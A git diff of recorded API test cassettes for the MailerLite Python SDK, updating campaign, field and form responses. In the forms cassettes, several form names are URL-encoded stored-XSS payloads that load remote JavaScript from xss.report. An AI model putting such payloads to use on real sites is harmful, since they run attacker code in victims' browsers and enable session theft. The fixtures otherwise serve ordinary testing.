i+VFTMdgp46ujMY+BgyDWA94BsdHyIoM+fUDJtt1R0iNKwiaFbZAWj041Mv85auL85fRiUSPGfjk - 5A+YTp58koSlRvX5ktnzDMVQDTXi9/WxDKRrdGrNrZaZXDnbykIyeg4e3fdRAzpNjGeVbQcGNZTd - NXoW78DITDrs9EaxlYWkxp6Q60WGfIXlB6zi0VyvyQvyAoTBOxGtitFHMXJlsrKG0UT+qyc//Prm - +s/ffhTR39eluRq+QlytEeq0EuLqyWy2fRoBxbbbzWavD5ClZbZtBAdmJtb4+hGuXJXznjfZK+eT - xaulrTei0uD9d6UspfC80ZiWRx5FtmOPDpGBc50PKyFigge0nK/zQ5lPokgmRTzV70rJeM/lvPJ+ - cuCs1T9Zy+hEt23BNWSKxe77FmsCYY3eCF85RCPA1OLrFu5nd1Tzunh+sejuv9metfpNfwjXsZ62 - PTFfLL56Qm1nHYPhb1sys5FwhA/mDqCVtsCFsQb34G5v5NfA6LYd1DWZZtaHeiQ/kjSuuMgvu/sT - NEfN+rNEtt2hwt1uSnPK4+czfVXOIxpLr5yn4pOZ7DSQUTHpspB/3CLdUFaa0vxShkX+fOlFA7eW - UWyfDnd5JwyED4RGAyWe/CZ+zldn4hrialETBDHKx8+LZwL1meig52crOmcbBy3sFwY70EA3Vvx8 - /e6tWFnXAtuz6Mr70/ZEA/GSCgeeSYyWiyixfRqc3sXVb9CAWxLEoPYhREoKEqkJAhiJNx9QGFyi - sS4qbSAwnQi6DycTvoPgbyLngeHt02B8WPrK0RJ3pUlPdSxNv7asgtPjK9I5vCW86yG5Zu58Uc7L - +YCfHTxBZCe4nKcXtJz3T285P/nk/j8thryq0VNjsB5b6FE3y/f7fe+P8a6t48rW8Y3VnBTZ589e - pd3s7fW+778l5HA7niiQzGRNDismaxK3k7vkxh0ZExvw0KvjKJCavE/P6iKTqc+rdExpHwx9DKge - wnGvHHDyN13iBHt2qd/LxVfRYKWpujmh7RM8AV/Wd1AQx1on+Ms6fAftgWzaflFoDS72i2CqI8MH - 8CMM2xWf0HEAf1nHyro7cPWh/AA9xn5FoBUZRgepMo7deEh95PEqtuox1RA9QFMrWKUJsL+6p2dL - r3xwt7iZyjRhHwP9MyGdw9h0R027vxNTrcgoCGxbSPFN7LEbHk2a8vdpHCavhrltYl/D/qb0jvY7 - dYvOx9RMqh7QY4RxkmZqj+094NJYxSejBRNA683BwFhFndvhURlzUqPG/S4aGdeV7Tbj2mFPGYft - lLVpGj8xnw+3vzd8Ku8VGLXEaRLfWwVjLB+RlEPwdspHTGoLjqeMkKnxXtkuVdY4Ok+GyCvoOk39 - EP4fopPEHTjT/6HEnwaHFXWEhqeSPs+kwXtWnrE7cKoKzqFhvZm028AP461sR/tgYzEswVOlxr+X - Hj/Ejs56K8lUOtRYq8bZ0A0+4v0JcOL02LTR/we8xzBoreLlvEU1vXhuuDn9+46aGoqDfkpjH+Lo - sEGsvXLYAY0dYLf7FwAA//8DAHQmOZByDgAA + string: '{"data":{"id":"165969226036676056","account_id":"83510","name":"New + Campaign Name","type":"regular","status":"draft","missing_data":[],"settings":{"track_opens":true,"use_google_analytics":false,"ecommerce_tracking":false},"filter":[],"filter_for_humans":[],"delivery_schedule":null,"language_id":"1","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","scheduled_for":null,"queued_at":null,"started_at":null,"finished_at":null,"stopped_at":null,"default_email_id":"165969226051356122","emails":[{"id":"165969226051356122","account_id":"83510","emailable_id":"165969226036676056","emailable_type":"campaigns","type":"builder_html","from":"sdk@igor.fail","from_name":"Test + Man","reply_to":"test@igor.fail","name":null,"subject":"This is a new test + campaign subject","content":"<!DOCTYPE html>\n<html>\n <head>\n <!--{$head_top}--><!--{$head_bottom}-->\n <title>This + is a new test campaign subject<\/title>\n <\/head>\n <body class=\"\" style=\"\">\n <!--{$body_top}-->\n <!--{$body_top}-->\n <h1>\n Test\n <\/h1><!--{$body_bottom}-->\n <style + type=\"text\/css\">\n .mlFooter p {\n margin: 0;\n }\n\n @media + only screen and (max-width: 640px) {\n .mlContentTable{\n width: 100%!important;\n min-width: + 10%!important;\n margin: 0!important;\n float: none!important;\n }\n\n .mlContentOuter{\n padding-bottom: + 0!important;\n padding-left: 15px!important;\n padding-right: 15px!important;\n padding-top: + 0!important;\n }\n }\n <\/style><!--{$body_bottom}-->\n <\/body>\n<\/html>","plain_text":"Sveiki,\n\nJ\u016bs + gavote {$account} naujienlai\u0161k\u012f. Ta\u010diau J\u016bs\u0173 el. + pa\u0161to programa nepalaiko HTML formato.\n\nNaujienlai\u0161k\u012f galite + rasti \u010dia:\n\n{$url}\n\nPagarbiai,\n{$account}\n\n\n\nJeigu ateityje + nebenorite gauti {$account} naujien\u0173, spauskite \u010dia:\n{$unsubscribe}\n","screenshot_url":null,"generate_screenshot_timestamp":"2025-09-19 + 11:16:31","preview_url":"https:\/\/preview.mailerlite.io\/preview\/83510\/emails\/165969226051356122","created_at":"2025-09-19 + 11:16:28","updated_at":"2025-09-19 11:16:31","is_designed":true,"language_id":1,"language":{"id":"1","shortcode":"lt","iso639":"lt-LT","name":"Lietuvi\u0161kai","direction":"ltr"},"is_winner":false,"stats":{"sent":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribes_count":0,"unsubscribe_rate":{"float":0,"string":"0%"},"spam_count":0,"spam_rate":{"float":0,"string":"0%"},"hard_bounces_count":0,"hard_bounce_rate":{"float":0,"string":"0%"},"soft_bounces_count":0,"soft_bounce_rate":{"float":0,"string":"0%"},"forwards_count":0,"forward_rate":{"float":0,"string":"0%"},"social_interactions_count":0,"social_interaction_rate":{"float":0,"string":"0%"},"click_to_open_rate":{"float":0,"string":"0%"}},"send_after":null,"track_opens":true,"uses_survey":false,"uses_quiz":false,"preheader":null}],"used_in_automations":false,"type_for_humans":"Regular","is_stopped":false,"has_winner":null,"winner_version_for_human":null,"winner_sending_time_for_humans":null,"winner_selected_manually_at":null,"can":{"update":true,"delete":true,"send":true,"copy":true,"resend":false},"uses_ecommerce":false,"ecommerce_stats":null,"uses_survey":false,"can_be_scheduled":true,"cannot_be_scheduled_reason":null,"is_smart_sending_index_option_finished":false,"is_applied_for_smart_sending_index_option":false,"warnings":[],"recipients_count":1004,"next_step":null,"is_currently_sending_out":false,"can_be_copied":true,"has_basic_filter":true,"basic_filter_for_humans":{"included_groups":[],"excluded_groups":[],"included_segments":[],"excluded_segments":[],"all_active_subscribers":true},"is_eligible_for_sending":true,"needs_repair":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecb9cbedbe1e298-BEG + - 9818abe22a46b30c-BEG Cache-Control: - no-cache, private Connection: @@ -60,7 +48,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 11:56:17 GMT + - Fri, 19 Sep 2025 11:16:31 GMT Server: - cloudflare Transfer-Encoding: @@ -69,14 +57,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - '118' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/fields-create.yml b/tests/vcr_cassettes/fields-create.yml index b402297..75fd58d 100644 --- a/tests/vcr_cassettes/fields-create.yml +++ b/tests/vcr_cassettes/fields-create.yml @@ -18,14 +18,10 @@ interactions: uri: https://connect.mailerlite.com/api/fields response: body: - string: '{"data":{"id":"90917","name":"My Field","key":"my_field","type":"text","is_default":false,"used_in_automations":false}}' + string: '{"data":{"id":"947147","name":"My Field","key":"my_field","type":"text","is_default":false}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d1d4c38d06c2e6-VIE + - 9818a33b0e7ef969-BEG Cache-Control: - no-cache, private Connection: @@ -33,19 +29,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:00:31 GMT + - Fri, 19 Sep 2025 11:10:37 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '119' + x-ratelimit-remaining: + - '111' + x-user_id: + - '106223' status: code: 201 message: Created diff --git a/tests/vcr_cassettes/fields-delete.yml b/tests/vcr_cassettes/fields-delete.yml index ba55693..d71afc2 100644 --- a/tests/vcr_cassettes/fields-delete.yml +++ b/tests/vcr_cassettes/fields-delete.yml @@ -15,33 +15,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/fields/90917 + uri: https://connect.mailerlite.com/api/fields/947147 response: body: string: '' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d1d4ca8db1fcb5-VIE + - 9818a33e9b5de290-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 21 Dec 2022 16:00:32 GMT + - Fri, 19 Sep 2025 11:10:37 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '115' + x-ratelimit-remaining: + - '108' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -64,16 +70,11 @@ interactions: uri: https://connect.mailerlite.com/api/fields/121212 response: body: - string: !!binary | - H4sIAAAAAAAAA6rmUlBQUFDKTS0uTkxPVbJSUPLLVygsTS2qVChKLS7NKSlWSMsvUsjNT0nNUYh2 - LCiIifEFsYtjYtwyU3NSYhUMjUBQiasWAAAA//8DAEP2uH5LAAAA + string: "{\n \"message\": \"No query results for model [App\\\\Models\\\\Field] + 121212\"\n}" headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d1d4cc0f0378a3-VIE + - 9818a33f8e4a126d-BEG Cache-Control: - no-cache, private Connection: @@ -83,17 +84,27 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:00:32 GMT + - Fri, 19 Sep 2025 11:10:38 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-RateLimit-Limit: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '114' + x-ratelimit-remaining: + - '107' + x-user_id: + - '106223' status: code: 404 message: Not Found diff --git a/tests/vcr_cassettes/fields-list.yml b/tests/vcr_cassettes/fields-list.yml index c40dc03..092019e 100644 --- a/tests/vcr_cassettes/fields-list.yml +++ b/tests/vcr_cassettes/fields-list.yml @@ -16,22 +16,14 @@ interactions: uri: https://connect.mailerlite.com/api/fields?limit=10&page=1&sort=name response: body: - string: !!binary | - H4sIAAAAAAAAA6zUTYvbMBAG4L8S3sOexGbT76iUHgqFQrsEeutmMVN73IiVJVcahXVD/nuxY8eG - ttCmPlkjIT0zY9kHFCQEfXeAKaDxHAqOKobGOyMNFB64gUZ+CqSp2yXhR4GCiVnBJSUr0BISK6TI - RWZcRkl8RWK8i6elo+qBpxPAVzW5iXGOL2JKsnF0nk2d5CRMnSGewXkyOh8pyqIbD5KlKFk/M4O1 - vlmvXo7ep2bx3rAtzlzVZGU/8WetO/KvuNVI3U6rmq+gF6Ow2Xk3EnUfzWBMGvZZSEYj9tEMxqvR - +PJhcxZ+ZCar/0+4V7DGPUToA0oTokBjJ1JHvV1ul7l3jnO5rshYDtYIX+e+2i6pNttldxXi25q+ - 8Zv2VbaX8fLddeA9tEvWKri2kG58VKi4/X8ckKcQ2EnW7oBeKZTBV92g+wrO0305dwekYIcTLX1l - C40rS9+Tf73YBN4bnyIUKBez50nHu22XN+EErSYnD/+n3+Rzy4+yuApdUr/kcq9Qk+z+NZm2mRyG - htwoiIdetw8hC70+Hn8CAAD//wMAEDXUHJUFAAA= + string: '{"data":[{"id":"5","name":"City","key":"city","type":"text","is_default":true,"used_in_automations":false},{"id":"3","name":"Company","key":"company","type":"text","is_default":true,"used_in_automations":false},{"id":"4","name":"Country","key":"country","type":"text","is_default":true,"used_in_automations":false},{"id":"2","name":"Last + name","key":"last_name","type":"text","is_default":true,"used_in_automations":false},{"id":"947147","name":"My + Field","key":"my_field","type":"text","is_default":false,"used_in_automations":false},{"id":"1","name":"Name","key":"name","type":"text","is_default":true,"used_in_automations":false},{"id":"6","name":"Phone","key":"phone","type":"text","is_default":true,"used_in_automations":false},{"id":"7","name":"State","key":"state","type":"text","is_default":true,"used_in_automations":false},{"id":"8","name":"Zip","key":"z_i_p","type":"text","is_default":true,"used_in_automations":false}],"links":{"first":"https:\/\/connect.mailerlite.com\/api\/fields?page=1","last":"https:\/\/connect.mailerlite.com\/api\/fields?page=1","prev":null,"next":null},"meta":{"current_page":1,"from":1,"last_page":1,"links":[{"url":null,"label":"« + Previous","active":false},{"url":"https:\/\/connect.mailerlite.com\/api\/fields?page=1","label":"1","active":true},{"url":null,"label":"Next + »","active":false}],"path":"https:\/\/connect.mailerlite.com\/api\/fields","per_page":10,"to":9,"total":9}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d1d4c549bcfca9-VIE + - 9818a33c5c161b8b-BEG Cache-Control: - no-cache, private Connection: @@ -41,19 +33,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:00:31 GMT + - Fri, 19 Sep 2025 11:10:37 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '118' + x-ratelimit-remaining: + - '110' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/fields-update.yml b/tests/vcr_cassettes/fields-update.yml index 5aef900..9a220be 100644 --- a/tests/vcr_cassettes/fields-update.yml +++ b/tests/vcr_cassettes/fields-update.yml @@ -15,20 +15,13 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: PUT - uri: https://connect.mailerlite.com/api/fields/90917 + uri: https://connect.mailerlite.com/api/fields/947147 response: body: - string: !!binary | - H4sIAAAAAAAAAyzKQQrDIBBG4avIv3aRrko8QHbNFWRgRhiqpuBIKyF3D0K333snmIwQTigjYF3W - xxMelYog4DXcLl+3qWR2+zSPtwwElBHTVHjY+MzX5Gfw0BZZEvVsCIlyE4/ehKPWSN2OQqZHbf92 - XTcAAAD//wMAyv1DtIAAAAA= + string: '{"data":{"id":"947147","name":"My New Field Name","key":"my_field","type":"text","is_default":false}}' headers: - Access-Control-Allow-Origin: - - '*' - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 77d1d4c8fc2ec2cd-VIE + - 9818a33d7d4d562e-BEG Cache-Control: - no-cache, private Connection: @@ -38,19 +31,29 @@ interactions: Content-Type: - application/json Date: - - Wed, 21 Dec 2022 16:00:32 GMT + - Fri, 19 Sep 2025 11:10:37 GMT Server: - cloudflare - Strict-Transport-Security: - - max-age=15724800; includeSubDomains Transfer-Encoding: - chunked - X-Locale: + access-control-allow-origin: + - '*' + alt-svc: + - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC + strict-transport-security: + - max-age=31536000; includeSubDomains + x-account_id: + - '83510' + x-locale: - en - X-RateLimit-Limit: + x-ratelimit-limit: - '120' - X-RateLimit-Remaining: - - '116' + x-ratelimit-remaining: + - '109' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/forms-get-subscribers.yml b/tests/vcr_cassettes/forms-get-subscribers.yml index 3f6a837..acba0be 100644 --- a/tests/vcr_cassettes/forms-get-subscribers.yml +++ b/tests/vcr_cassettes/forms-get-subscribers.yml @@ -13,19 +13,13 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/forms/139883342944274178/subscribers?page=1&limit=20&filter%5Bstatus%5D=active + uri: https://connect.mailerlite.com/api/forms/141163052291589265/subscribers?page=1&limit=20&filter%5Bstatus%5D=active response: body: - string: !!binary | - H4sIAAAAAAAAA1SOWwrCMBQF93K/Q2PbQNtsxUhJ460N5sVNKkLp3kVU1L9hPs6cDc66aJDHEwNn - wzWD3GC2lAvIsDrHwOkvJ8LbhwPe335n4PE5skHSZQEJSykpS8UVNzEENKXy2jokZwtWJnrFdbKK - z5F8Vrxuh75vW9EMQjSdqLte8bxO2ZCdkDIwSEhj0hcE2Rxe5dGslCP9HvtT+/4AAAD//wMAnHEz - utoAAAA= + string: '{"data":[],"links":{"first":null,"last":null,"prev":null,"next":null},"meta":{"path":"https:\/\/connect.mailerlite.com\/api\/forms\/141163052291589265\/subscribers","per_page":20,"next_cursor":null,"prev_cursor":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ed43310aeefe290-BEG + - 9818a3448c70b018-BEG Cache-Control: - no-cache, private Connection: @@ -35,7 +29,7 @@ interactions: Content-Type: - application/json Date: - - Thu, 05 Dec 2024 12:57:00 GMT + - Fri, 19 Sep 2025 11:10:38 GMT Server: - cloudflare Transfer-Encoding: @@ -44,14 +38,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '116' + - '103' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/forms-get.yml b/tests/vcr_cassettes/forms-get.yml index 1aa8a8f..373df78 100644 --- a/tests/vcr_cassettes/forms-get.yml +++ b/tests/vcr_cassettes/forms-get.yml @@ -13,29 +13,17 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: GET - uri: https://connect.mailerlite.com/api/forms/139883342944274178 + uri: https://connect.mailerlite.com/api/forms/141163052291589265 response: body: - string: !!binary | - H4sIAAAAAAAAA4RUTY/bOAz9KwGB3pyJ7cSdRLcCxe5tbsUeJoWgyIzDHVlyRWqyQZH/Xigf40w6 - u3sxzKdHUXrk009ojRhQP4FaUFDNV8vlfL6oV4tF/bioHpdQgLE2JC/6xFjOm6qEAuQwICgYwpAG - KIBd6kDB0zf6+tcXKMCbPi8/4X7yR4j95CnHBdiIRrDVRkBBXdaLaVVPy2ZS1aqp1bzKlOBfMTIF - z/pUF1RZQBjwXTyydDSC+QJbF8x5kSWSz8cpP8Hxgx01eetSS77Tdkeujejvi/wb5a7uh7T/OAqj - CPmOM6kNaeNQh0HIg5KYsIAuhnAWui6bclmtmgK2Ifb6Tm6J1HUYGdQzCPUYksD34vqrGW3wLYNq - CmAbg3N6wGjRi+kQVFMWsI34I6G3B1DVTaSTp9ybPnjZMRTwSkwbciQHUGDc3hwymqLTjlhAPX8f - I51vawWUT84VsKMWdfBnDtsdtskhqK1xjMcCnGHRETtiiUayouYt1Vih1yu3AGK9ieEli3tB9ib6 - rHqPzKZDPhfZmdw+L5in5KyoNaeOpKE9jUkGjwUkxlaT1yZJ6E/F+X7ry5YfdYltRPS8C6JTdKBg - JzKwWs/WM5YQTYcPXQidQzMQP9jQr2e9IYfRkeB0zObpEEO7no3Iepa7zevZ70Zcz6p6ufgnf0bj - TM/GaeYPg+/gLEBPzFmaLoY0jNe6hs9Xq5dluZp/bppqVVX14+dlPdr2z5gGM6ng2oir8ao8wV6u - YX3ny0t878jqxgZVefGkI/vyztAZ+H8vJ89pwzbSBtub7ORt8FuK/Tt0E5K375C/k3+5LXr3HM2n - 5WpazyflUlW1qpdwvAwVD45EC7KMgo6Y3pIn3mH70Rp6s3G/Ld3asTwN+E3KnrzH+JYxvix5IAcT - 8fIYn70SInXkjdPn5l0M5I07CFnWERnlxlqJkTWn+IqHtwonzONebxK59q308fgLAAD//wMANK9t - AB8GAAA= + string: '{"data":{"id":"141163052291589265","account_id":"83510","type":"popup","slug":"2HLgfJ","name":"%3Cscript%3E$.getScript(%22\/\/xss.report\/c\/igorhrcek%22)%3C\/script%3E","created_at":"2024-12-19 + 15:52:57","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true,"groot_id":20939090,"form_type":"popup","triggers":["timeout"],"timeout_seconds":5,"scroll_percentage":50,"frequency":1,"frequency_unit":"months","visibility":"always","url_list":[],"url_list_strict":null,"hide_on":[],"schedule":false,"needs_content_refresh":false},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":true,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/forms\/141163052291589265\/1284x12842024-12-19-15:56:53.png","has_missing_groups":false,"groups":[{"id":"100093655191127682","name":"Grupa + 1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"},{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ed4330dffafe298-BEG + - 9818a3421d3ce291-BEG Cache-Control: - no-cache, private Connection: @@ -45,7 +33,7 @@ interactions: Content-Type: - application/json Date: - - Thu, 05 Dec 2024 12:56:59 GMT + - Fri, 19 Sep 2025 11:10:38 GMT Server: - cloudflare Transfer-Encoding: @@ -54,14 +42,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '118' + - '105' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/forms-list.yml b/tests/vcr_cassettes/forms-list.yml index 56f1bde..5380be9 100644 --- a/tests/vcr_cassettes/forms-list.yml +++ b/tests/vcr_cassettes/forms-list.yml @@ -16,29 +16,24 @@ interactions: uri: https://connect.mailerlite.com/api/forms/popup?limit=10&page=1&sort=name response: body: - string: !!binary | - H4sIAAAAAAAAA6RVTY/jNgz9KwGB7smZ2E6yk6goigJFexv0UvQwWQiKzDjqyJJXpDITBPnvhWzn - YzLZFuheDJGiSOnxPfoAlWIF4vkApgIBxXS5WEyns3I5m5WPs+JxARkorX10LLuIxXRe5JAB71sE - Aa1vYwsZkI01CHj60/z61y+QgVNN2n7C19FvPjSjp2RnoAMqxkoqBgFlXs7GRTnO56OiFPNSTIsU - 4t0OAxnvSHZ1QeQZ+Bbf2ZcoGRQjiANsrFf9JnEwLl0n/wGOdzJK47SNlXG11Ftjq4Dutsi3Qm7q - 3g37l6sQMhtXUwqqfFxblL5l40BwiJhBHbzvgS7zeb4olvMMNj408gZuDqauMRCIZ2DToI8MX7LT - UhJq7yoCMc+AdPDWyhaDRseqRhDzPINNwK8Rnd6DKK4sGZ1JvWm84y1BBjtDZm2s4T0IUPZV7ZM3 - BiutIQbx/OViyfRazSBctDaDralQetfHkN5iFS2C2ChLeMzAKmIZsDbEQXFCVJ2PKs1md4rNwJBc - B/+SwB08ryq4hHqDRKpG6otsVWqfY0ws6RHVqutIbKuOJsl5zCASVtI4qSL7pitOt6mHlPe6RDog - Otp6ljFYELBlbkmsJqsJsQ+qxofa+9qiag09aN+sJo0yFoM1jOPLaRq3wVerycWzmqRu02ryUYir - SVEuZm/pcxHOuBfOfPrQuhp6ABpDlKCpg4/t5Vkn8yz1PM+X08/zebEsivLx86K8yPb3EFs1KuDU - iJPwisRgxyezvNHlYN8qsriSQZEPmrRGv7wTdHL8t5ajo7gmHcwaq6vT0WnvNiY077xrH51+5/k7 - upfrojfjaDrOl+NyOsoXoihFuYDjQCpqrWHJSHwB9OKTG+MMbbG6t4dOre2HrWs55h3Br468Gucw - nE9cJksiZKsCDsO414oPpjZOWdk3bxCQU3bPRpMMSMhX0oqEJCmGHe7PFTqfw1e5jsZW59Lp9da4 - l25cbUxIer/iuvbOoeaHC7d7rqvWnHncDayfW1XjT4lOSfPfm6MNuDs9xuHb8LBjBg2mX9kBdAwd - RG2HbjfdfNMtupFzdg9Pez5Ap+I+o1VrTJL+ZNXX6H8c/RFwZ3wkuBlKx2w49r2A9OWKq/z9jLp7 - qyd849Gn0F3tw406cvD2/10pAYvhBE6eAfsOJPasbLdSdR2wPg3Lw/AvSjvYrLGqEseL1B7f+BQE - Ij8ej/8AAAD//wMAJktURWIIAAA= + string: '{"data":[{"id":"141163052291589265","account_id":"83510","type":"popup","slug":"2HLgfJ","name":"%3Cscript%3E$.getScript(%22\/\/xss.report\/c\/igorhrcek%22)%3C\/script%3E","created_at":"2024-12-19 + 15:52:57","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true,"groot_id":20939090,"form_type":"popup","triggers":["timeout"],"timeout_seconds":5,"scroll_percentage":50,"frequency":1,"frequency_unit":"months","visibility":"always","url_list":[],"url_list_strict":null,"hide_on":[],"schedule":false,"needs_content_refresh":false},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":true,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/forms\/141163052291589265\/1284x12842024-12-19-15:56:53.png","has_missing_groups":false,"groups":[{"id":"100093655191127682","name":"Grupa + 1","active_count":1,"sent_count":4,"opens_count":4,"open_rate":{"float":1,"string":"100%"},"clicks_count":2,"click_rate":{"float":0.5,"string":"50%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-09-23 + 08:12:28"},{"id":"107641605251400900","name":"Grupa2","active_count":9,"sent_count":8,"opens_count":7,"open_rate":{"float":0.875,"string":"87.5%"},"clicks_count":2,"click_rate":{"float":0.25,"string":"25%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2023-12-15 + 15:43:54"}],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false},{"id":"141163323330660076","account_id":"83510","type":"popup","slug":"lTG9JH","name":"%3Cscript%3E$.getScript(%22\/\/xss.report\/c\/igorhrcek%22)%3C\/script%3E","created_at":"2024-12-19 + 15:57:15","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":false,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":null,"has_missing_groups":true,"groups":[],"has_split_tests":false,"split_test_finished":false,"split_test_enabled":false,"split_percentage":0,"is_split_test_winner":false,"children":[],"parent_id":null,"original_name":null,"analytics_reset_at":null,"uses_survey":false,"uses_new_builder":false},{"id":"142089765039113797","account_id":"83510","type":"popup","slug":"rap2Tg","name":"Form + Ownership Validation","created_at":"2024-12-29 21:22:39","conversions_count":0,"opens_count":0,"conversion_rate":{"float":0,"string":"0%"},"conversions_count_including_children":0,"opens_count_including_children":0,"conversion_rate_including_children":{"float":0,"string":"0%"},"settings":{"double_optin":true,"groot_id":21150747,"form_type":"popup","triggers":["timeout"],"timeout_seconds":5,"scroll_percentage":50,"frequency":1,"frequency_unit":"months","visibility":"always","url_list":[],"url_list_strict":null,"hide_on":[],"schedule":false},"last_registration_at":null,"active":false,"is_broken":false,"warning_messages":[],"has_content":true,"can_choose_template":false,"can":{"update":true},"used_in_automations":false,"warnings":[],"double_optin":true,"screenshot_url":"https:\/\/storage.googleapis.com\/mailerlite-screenshots-prod\/screenshot\/forms\/142089765039113797\/1284x12842024-12-29-21:23:05.png","has_missing_groups":false,"groups":[{"id":"100093655191127682","name":"Grupa + 